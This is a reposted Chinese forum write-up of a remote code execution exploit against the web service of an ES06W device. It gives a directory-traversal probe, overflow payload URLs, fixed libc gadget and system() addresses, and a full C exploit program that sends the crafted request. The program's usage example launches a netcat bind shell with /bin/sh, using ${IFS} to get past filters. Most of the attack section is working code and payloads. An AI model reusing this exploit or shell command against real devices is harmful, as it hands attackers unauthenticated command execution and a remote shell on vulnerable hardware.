software_version = V4565R03C01S61
hardware_version = M2V1
product_model = ES06W
upgrade_version = V4565R03C01S61
尝试通过dir参数进行目录遍历,如/file_list.json?dir=../../../../../,确认存在目录遍历漏洞。
http://192.168.0.1:8080/aaabacadaeafagahaiajakalamanaoapaqarasatauavawaxayazaAaBaCaDaEaFaGaHaIaJaKaLaMaNaOaPaQaRaSaTaUaVaWaXaYaZa0a1a2a3a4a5a6a7a8a9babbbcbdbebfbgbhbibjbkblbmbnbobpbqbrbsbtbubvbwbxbybzbAbBbCbDbEbFbGbHbIbJbKbLbMbNbObPbQbRbSbTbUbVbWbXbYbZb0b1b2b3b4b5b6b7b8b9cacbcccdcecfcgchcicjckclcmcncocpcqcrcsctcucvcwcxcycz
http://192.168.0.1:8080/aaabacadaeafagahaiajakalamanaoapaqarasatauavawaxayazaAaBaCaDaEaFaGaHaIaJaKaLaMaNaOaPaQaRaSaTaUaVaWaXaYaZa0a1a2a3a4a5a6a7a8a9babbbcbdbebfbgbhbibjbkblbmbnbobpbqbrbsbtbubvbwbxbybzbAbBbCbDbEbFbGbHbIbJbKbLbMbNbObPbQbRbSbTbUbVbWbXbYbZb0b1b2b3b4b5b6b7b8b9cacbcccdc123DDDD
漏洞函数在返回时执行POP {R4-R7,PC},因此R4-R7寄存器也是可以控制的。
系统没有随机基址,漏洞利用较为简单,只需要避免字符串截断就行。因此直接从libc库中查找到MOV R0,SP; LDR R2,[R7]; BLX R2;指令的地址0x48d50294用来覆盖返回地址。
漏洞函数返回后,SP指向覆盖的返回地址后面,就可以通过URL的内容来控制R0寄存器指向的字符串。R2寄存器可以用R7来控制。Libc中system函数地址为0x48CEA830。找到一个指向system函数地址的指针0x48CB5FBC来控制R7寄存器。
从新构造如下POC后调式:
触发漏洞后执行到0x48d50294时,R7为控制的0x48CB5FBC。
此时SP指向用来覆盖返回地址的值后面,可以将要执行的命令拼接在URL末尾来执行命令。
执行到BLX R2指令时,R2就是system函数地址了。
测试EXP:
EXP:
// ES06W-RCE.cpp :
//
#include "stdafx.h"
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#include <WinSock2.h>
#include <Windows.h>
#pragma comment(lib, "ws2_32.lib")
void ShowHelp()
{
printf("[+]Usage: ES06W-RCE.exe [Command]\n");
printf("[+]Example: ES06W-RCE.exe \"nc${IFS}-lp${IFS}4444${IFS}-e${IFS}/bin/sh\"\n");
}
int main(int argc, char** argv)
{
WSADATA stcData = {};
int int_ret = 0;
char str_recv[0x1000] = {};
char str_payload_final[0x1000] = {};
//
if (argc != 2) {
ShowHelp();
return 0;
}
//
int_ret = WSAStartup(MAKEWORD(2, 2), &stcData);
if (int_ret == SOCKET_ERROR) {
printf("[-]Init Failed!\n");
return 0;
}
//
char str_payload[] = {
"GET /aaabacadaeafagahaiajakalamanaoapaqarasatauavawaxayazaAaBaCaDaEaFaGaHa"
"IaJaKaLaMaNaOaPaQaRaSaTaUaVaWaXaYaZa0a1a2a3a4a5a6a7a8a9babbbcbdbebfbgbhbib"
"jbkblbmbnbobpbqbrbsbtbubvbwbxbybzbAbBbCbDbEbFbGbHbIbJbKbLbMbNbObPbQbRbSbTb"
"UbVbWbXbYbZb0b1b2b3b4b5b6b7b8b9cacbcccd"
"\xBC\x5F\xCB\x48" //Control R7
"\x94\x02\xD5\x48" //Return Addr
"%s" //Command
" HTTP/1.1\r\n"
"Host: 192.168.0.1:8080\r\n"
"Connection: keep-alive\r\n"
"Upgrade-Insecure-Requests: 1\r\n"
"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36\r\n"
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r\n"
"Accept-Encoding: gzip, deflate\r\n"
"Accept-Language: zh-CN,zh;q=0.9\r\n\r\n\0"
};
sprintf_s(str_payload_final, 0x1000, str_payload, argv[1]);
//
SOCKET sock_client = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
sockaddr_in sock_addr;
sock_addr.sin_family = AF_INET;
sock_addr.sin_port = htons(8080);
sock_addr.sin_addr.S_un.S_addr = inet_addr("192.168.0.1");
//
int nErrCode = 0;
int_ret = connect(sock_client, (sockaddr*)&sock_addr, sizeof(sockaddr_in));
//
send(sock_client, str_payload_final, strlen(str_payload_final), 0);
//
Sleep(20);
recv(sock_client, str_recv, sizeof(str_recv), 0);
printf("[-]Recv: %s\n", str_recv);
printf("[+]Finished!\n");
closesocket(sock_client);
WSACleanup();
//
return 0;
}
作者:okCryingFish 来源:看雪社区https://bbs.pediy.com/user-home-780653.htm 排版:释然IT杂谈
推荐阅读